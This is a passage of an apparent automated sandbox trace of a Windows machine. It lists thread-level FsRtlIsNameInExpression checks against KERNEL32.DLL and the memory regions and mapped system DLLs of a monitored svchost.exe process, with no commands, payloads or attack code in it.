IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 361 os_tid = 0x5d4 Thread: id = 363 os_tid = 0x5dc [0109.718] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winmm.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 364 os_tid = 0x5e0 [0099.259] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\clbcatq.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0099.264] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\PlaySndSrv.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0104.191] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\RpcRtRemote.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 371 os_tid = 0x600 [0099.564] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\MsCtfMonitor.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0099.568] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msutb.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0099.575] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winsta.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0099.575] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wtsapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 374 os_tid = 0x608 [0099.910] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\HotStartUserAgent.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0104.248] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\slc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 428 os_tid = 0x6e4 Thread: id = 429 os_tid = 0x6e8 Thread: id = 430 os_tid = 0x6ec Thread: id = 489 os_tid = 0x7e0 Thread: id = 524 os_tid = 0x460 [0115.172] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dimsjob.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.188] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\taskschd.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.189] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sspicli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.202] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\netprofm.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.203] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.203] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nlaapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.206] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptsp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.212] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rsaenh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.227] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\npmproxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.236] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\pautoenr.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.255] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\Wldap32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.259] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\certcli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.265] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\atl.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.277] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\CertEnroll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.361] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dsrole.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 525 os_tid = 0x528 Process: id = "33" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x587b000" os_pid = "0x5b0" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x1d4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceNoNetwork" cur_dir = "C:\\Windows\\system32\\" Region: id = 2949 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2950 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2951 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2952 start_va = 0xd0000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2953 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 2954 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2955 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2956 start_va = 0xff1c0000 end_va = 0xff1cafff entry_point = 0xff1c246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" Region: id = 2957 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 2958 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2959 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2960 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2961 start_va = 0x10000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2962 start_va = 0x50000 end_va = 0x50fff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2963 start_va = 0x280000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 2964 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x77a45ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" Region: id = 2965 start_va = 0x7fefde00000 end_va = 0x7fefde6afff entry_point = 0x7fefde030e0 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\System32\\KernelBase.dll" Region: id = 2966 start_va = 0x60000 end_va = 0x6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2967 start_va = 0x150000 end_va = 0x1b6fff entry_point = 0x150000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 2968 start_va = 0x380000 end_va = 0x47ffff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 2969 start_va = 0x4c0000 end_va = 0x4cffff entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 2970 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2971 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2972 start_va = 0x7fefed00000 end_va = 0x7fefed1efff entry_point = 0x7fefed060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" Region: id = 2973 start_va = 0x7feffc40000 end_va = 0x7feffcdefff entry_point = 0x7feffc425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" Region: id = 2974 start_va = 0x7feffd20000 end_va = 0x7feffe4cfff entry_point = 0x7feffd6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" Region: id = 2987 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 2988 start_va = 0x80000 end_va = 0x81fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 2989 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2990 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 2991 start_va = 0x1c0000 end_va = 0x27ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 2992 start_va = 0x4d0000 end_va = 0x657fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 2993 start_va = 0x660000 end_va = 0x7e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 2994 start_va = 0x7f0000 end_va = 0xbe2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 2995 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x77b6a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" Region: id = 2996 start_va = 0x7fefdc40000 end_va = 0x7fefdc4efff entry_point = 0x7fefdc41020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" Region: id = 2997 start_va = 0x7fefdc50000 end_va = 0x7fefddb6fff entry_point = 0x7fefdc510c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" Region: id = 2998 start_va = 0x7fefed20000 end_va = 0x7fefedfafff entry_point = 0x7fefed40760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" Region: id = 2999 start_va = 0x7fefee00000 end_va = 0x7fefef77fff entry_point = 0x7fefee010e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" Region: id = 3000 start_va = 0x7fefef80000 end_va = 0x7feff0a9fff entry_point = 0x7fefef810d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" Region: id = 3001 start_va = 0x7feff1d0000 end_va = 0x7feff1ddfff entry_point = 0x7feff1d1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" Region: id = 3002 start_va = 0x7feff230000 end_va = 0x7feff306fff entry_point = 0x7feff233274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" Region: id = 3003 start_va = 0x7feff4f0000 end_va = 0x7feff560fff entry_point = 0x7feff501e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" Region: id = 3004 start_va = 0x7feff610000 end_va = 0x7feff676fff entry_point = 0x7feff61b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" Region: id = 3005 start_va = 0x7feff6e0000 end_va = 0x7feff938fff entry_point = 0x7feff6e1340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" Region: id = 3006 start_va = 0x7feff940000 end_va = 0x7feffb42fff entry_point = 0x7feff963330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" Region: id = 3007 start_va = 0x7feffb70000 end_va = 0x7feffc38fff entry_point = 0x7feffbea874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" Region: id = 3008 start_va = 0x7feffcf0000 end_va = 0x7feffd1dfff entry_point = 0x7feffcf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" Region: id = 3009 start_va = 0x7feffe50000 end_va = 0x7fefff58fff entry_point = 0x7feffe51064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" Region: id = 3010 start_va = 0xc60000 end_va = 0xcdffff entry_point = 0x0 region_type = private name = "private_0x0000000000c60000" filename = "" Region: id = 3011 start_va = 0x7feffb50000 end_va = 0x7feffb66fff entry_point = 0x7feffb51070 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" Region: id = 3012 start_va = 0x77e20000 end_va = 0x77e26fff entry_point = 0x77e2106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" Region: id = 3016 start_va = 0xe20000 end_va = 0x10eefff entry_point = 0xe20000 region_type = mapped_file name = "SortDefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" Region: id = 3096 start_va = 0xd20000 end_va = 0xd9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d20000" filename = "" Region: id = 3097 start_va = 0x11a0000 end_va = 0x121ffff entry_point = 0x0 region_type = private name = "private_0x00000000011a0000" filename = "" Region: id = 3098 start_va = 0x12b0000 end_va = 0x132ffff entry_point = 0x0 region_type = private name = "private_0x00000000012b0000" filename = "" Region: id = 3099 start_va = 0x1350000 end_va = 0x13cffff entry_point = 0x0 region_type = private name = "private_0x0000000001350000" filename = "" Region: id = 3100 start_va = 0x7fef9e70000 end_va = 0x7fef9f1ffff entry_point = 0x7fef9e828b0 region_type = mapped_file name = "BFE.DLL" filename = "\\Windows\\System32\\BFE.DLL" Region: id = 3101 start_va = 0x7fefb740000 end_va = 0x7fefb74afff entry_point = 0x7fefb744f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" Region: id = 3102 start_va = 0x7fefd660000 end_va = 0x7fefd68efff entry_point = 0x7fefd661064 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" Region: id = 3103 start_va = 0x7fefda90000 end_va = 0x7fefda9efff entry_point = 0x7fefda91010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" Region: id = 3104 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 3105 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 3106 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3107 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3183 start_va = 0xda0000 end_va = 0xe1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000da0000" filename = "" Region: id = 3184 start_va = 0x14c0000 end_va = 0x153ffff entry_point = 0x0 region_type = private name = "private_0x00000000014c0000" filename = "" Region: id = 3185 start_va = 0x7fefcef0000 end_va = 0x7fefcefcfff entry_point = 0x7fefcef1348 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" Region: id = 3186 start_va = 0x7fefda60000 end_va = 0x7fefda84fff entry_point = 0x7fefda69658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" Region: id = 3187 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 3211 start_va = 0x1580000 end_va = 0x15fffff entry_point = 0x0 region_type = private name = "private_0x0000000001580000" filename = "" Region: id = 3212 start_va = 0x1640000 end_va = 0x16bffff entry_point = 0x0 region_type = private name = "private_0x0000000001640000" filename = "" Region: id = 3213 start_va = 0x1890000 end_va = 0x190ffff entry_point = 0x0 region_type = private name = "private_0x0000000001890000" filename = "" Region: id = 3214 start_va = 0x7fef9c70000 end_va = 0x7fef9d3dfff entry_point = 0x7fef9c71e18 region_type = mapped_file name = "MPSSVC.dll" filename = "\\Windows\\System32\\MPSSVC.dll" Region: id = 3215 start_va = 0x7fefacc0000 end_va = 0x7fefad12fff entry_point = 0x7fefacc2b98 region_type = mapped_file name = "FWPUCLNT.DLL" filename = "\\Windows\\System32\\FWPUCLNT.DLL" Region: id = 3216 start_va = 0x7fefcd60000 end_va = 0x7fefcd6bfff entry_point = 0x7fefcd61064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" Region: id = 3217 start_va = 0x7fefcd70000 end_va = 0x7fefce2afff entry_point = 0x7fefcd76de0 region_type = mapped_file name = "FirewallAPI.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" Region: id = 3218 start_va = 0x7fefdb40000 end_va = 0x7fefdb53fff entry_point = 0x7fefdb410e0 region_type = mapped_file name = "RpcRtRemote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" Region: id = 3219 start_va = 0x7fefddc0000 end_va = 0x7fefddf5fff entry_point = 0x7fefddc1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" Region: id = 3220 start_va = 0x7feffce0000 end_va = 0x7feffce7fff entry_point = 0x7feffce1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" Region: id = 3221 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 3267 start_va = 0x10000 end_va = 0x2bfff entry_point = 0x10000 region_type = mapped_file name = "FirewallAPI.dll.mui" filename = "\\Windows\\System32\\en-US\\FirewallAPI.dll.mui" Region: id = 3268 start_va = 0x1110000 end_va = 0x118ffff entry_point = 0x0 region_type = private name = "private_0x0000000001110000" filename = "" Region: id = 3269 start_va = 0x1240000 end_va = 0x12bffff entry_point = 0x0 region_type = private name = "private_0x0000000001240000" filename = "" Region: id = 3270 start_va = 0x1760000 end_va = 0x17dffff entry_point = 0x0 region_type = private name = "private_0x0000000001760000" filename = "" Region: id = 3271 start_va = 0x7fefd060000 end_va = 0x7fefd069fff entry_point = 0x7fefd063cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" Region: id = 3272 start_va = 0x7fefd490000 end_va = 0x7fefd4a6fff entry_point = 0x7fefd4932b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" Region: id = 3273 start_va = 0x7fefda00000 end_va = 0x7fefda0afff entry_point = 0x7fefda01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" Region: id = 3274 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 3275 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 3340 start_va = 0xb0000 end_va = 0xb0fff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 3341 start_va = 0x1430000 end_va = 0x14affff entry_point = 0x0 region_type = private name = "private_0x0000000001430000" filename = "" Region: id = 3342 start_va = 0x1930000 end_va = 0x19affff entry_point = 0x0 region_type = private name = "private_0x0000000001930000" filename = "" Region: id = 3343 start_va = 0x1a70000 end_va = 0x1aeffff entry_point = 0x0 region_type = private name = "private_0x0000000001a70000" filename = "" Region: id = 3344 start_va = 0x7fef8d80000 end_va = 0x7fef8dabfff entry_point = 0x7fef8d856f8 region_type = mapped_file name = "dps.dll" filename = "\\Windows\\System32\\dps.dll" Region: id = 3345 start_va = 0x7fefac70000 end_va = 0x7fefac87fff entry_point = 0x7fefac71bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" Region: id = 3346 start_va = 0x7fefac90000 end_va = 0x7fefaca0fff entry_point = 0x7fefac916ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" Region: id = 3347 start_va = 0x7fefb680000 end_va = 0x7fefb68afff entry_point = 0x7fefb681198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" Region: id = 3348 start_va = 0x7fefb690000 end_va = 0x7fefb6b6fff entry_point = 0x7fefb6998bc region_type = mapped_file name = "IPHLPAPI.DLL" filename = "\\Windows\\System32\\IPHLPAPI.DLL" Region: id = 3349 start_va = 0x7fefce30000 end_va = 0x7fefce36fff entry_point = 0x7fefce314b0 region_type = mapped_file name = "WSHTCPIP.DLL" filename = "\\Windows\\System32\\WSHTCPIP.DLL" Region: id = 3350 start_va = 0x7fefcf30000 end_va = 0x7fefcf4afff entry_point = 0x7fefcf32068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" Region: id = 3351 start_va = 0x7fefcf50000 end_va = 0x7fefcf6dfff entry_point = 0x7fefcf513b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" Region: id = 3352 start_va = 0x7fefd420000 end_va = 0x7fefd426fff entry_point = 0x7fefd42142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" Region: id = 3353 start_va = 0x7fefd430000 end_va = 0x7fefd484fff entry_point = 0x7fefd431054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" Region: id = 3354 start_va = 0x7fefdba0000 end_va = 0x7fefdbaefff entry_point = 0x7fefdba19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" Region: id = 3355 start_va = 0x7feff1e0000 end_va = 0x7feff22cfff entry_point = 0x7feff1e1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" Region: id = 3356 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 3357 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 3358 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 3371 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 3372 start_va = 0x480000 end_va = 0x480fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 3373 start_va = 0x1540000 end_va = 0x15bffff entry_point = 0x0 region_type = private name = "private_0x0000000001540000" filename = "" Region: id = 3374 start_va = 0x19f0000 end_va = 0x1a6ffff entry_point = 0x0 region_type = private name = "private_0x00000000019f0000" filename = "" Region: id = 3375 start_va = 0x1b00000 end_va = 0x1b7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b00000" filename = "" Region: id = 3376 start_va = 0x7fef8ce0000 end_va = 0x7fef8ce9fff entry_point = 0x7fef8ce3dd4 region_type = mapped_file name = "wfapigp.dll" filename = "\\Windows\\System32\\wfapigp.dll" Region: id = 3377 start_va = 0x7fefb7b0000 end_va = 0x7fefb8d6fff entry_point = 0x7fefb7b10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" Region: id = 3378 start_va = 0x7feff570000 end_va = 0x7feff608fff entry_point = 0x7feff571c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" Region: id = 3379 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 3380 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 3381 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 3581 start_va = 0x490000 end_va = 0x497fff entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 3582 start_va = 0x4a0000 end_va = 0x4a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004a0000" filename = "" Region: id = 3583 start_va = 0x1800000 end_va = 0x187ffff entry_point = 0x0 region_type = private name = "private_0x0000000001800000" filename = "" Region: id = 3584 start_va = 0x1b80000 end_va = 0x1c7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b80000" filename = "" Region: id = 3585 start_va = 0x1c80000 end_va = 0x1d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c80000" filename = "" Region: id = 3586 start_va = 0x1de0000 end_va = 0x1e5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001de0000" filename = "" Region: id = 3587 start_va = 0x7fef7b20000 end_va = 0x7fef7c69fff entry_point = 0x7fef7b21100 region_type = mapped_file name = "diagperf.dll" filename = "\\Windows\\System32\\diagperf.dll" Region: id = 3588 start_va = 0x7fef7c70000 end_va = 0x7fef7c88fff entry_point = 0x7fef7c72b50 region_type = mapped_file name = "wdi.dll" filename = "\\Windows\\System32\\wdi.dll" Region: id = 3589 start_va = 0x7fefbb30000 end_va = 0x7fefbb5cfff entry_point = 0x7fefbb31010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" Region: id = 3590 start_va = 0x7feff680000 end_va = 0x7feff6d1fff entry_point = 0x7feff6810d4 region_type = mapped_file name = "Wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" Region: id = 3591 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 3620 start_va = 0x16d0000 end_va = 0x174ffff entry_point = 0x0 region_type = private name = "private_0x00000000016d0000" filename = "" Region: id = 3621 start_va = 0x1e80000 end_va = 0x1efffff entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 3622 start_va = 0x7fef7990000 end_va = 0x7fef7997fff entry_point = 0x7fef79922f8 region_type = mapped_file name = "pnpts.dll" filename = "\\Windows\\System32\\pnpts.dll" Region: id = 3623 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 3624 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 3625 start_va = 0x1780000 end_va = 0x17fffff entry_point = 0x0 region_type = private name = "private_0x0000000001780000" filename = "" Region: id = 3626 start_va = 0x2010000 end_va = 0x208ffff entry_point = 0x0 region_type = private name = "private_0x0000000002010000" filename = "" Region: id = 3627 start_va = 0x2090000 end_va = 0x228ffff entry_point = 0x0 region_type = private name = "private_0x0000000002090000" filename = "" Region: id = 3628 start_va = 0x7fef7970000 end_va = 0x7fef798cfff entry_point = 0x7fef7971a28 region_type = mapped_file name = "radardt.dll" filename = "\\Windows\\System32\\radardt.dll" Region: id = 3629 start_va = 0x7fefbef0000 end_va = 0x7fefbf00fff entry_point = 0x7fefbef1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" Region: id = 3630 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 3631 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 3632 start_va = 0x23d0000 end_va = 0x24effff entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 3633 start_va = 0x24f0000 end_va = 0x26f0fff entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 3634 start_va = 0x2740000 end_va = 0x27bffff entry_point = 0x0 region_type = private name = "private_0x0000000002740000" filename = "" Region: id = 3635 start_va = 0x7fef7960000 end_va = 0x7fef796cfff entry_point = 0x7fef7966fb0 region_type = mapped_file name = "wdiasqmmodule.dll" filename = "\\Windows\\System32\\wdiasqmmodule.dll" Region: id = 3636 start_va = 0x7fffff92000 end_va = 0x7fffff93fff entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Thread: id = 353 os_tid = 0x5b4 [0098.259] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\svchost.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.259] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.261] FsRtlIsNameInExpression 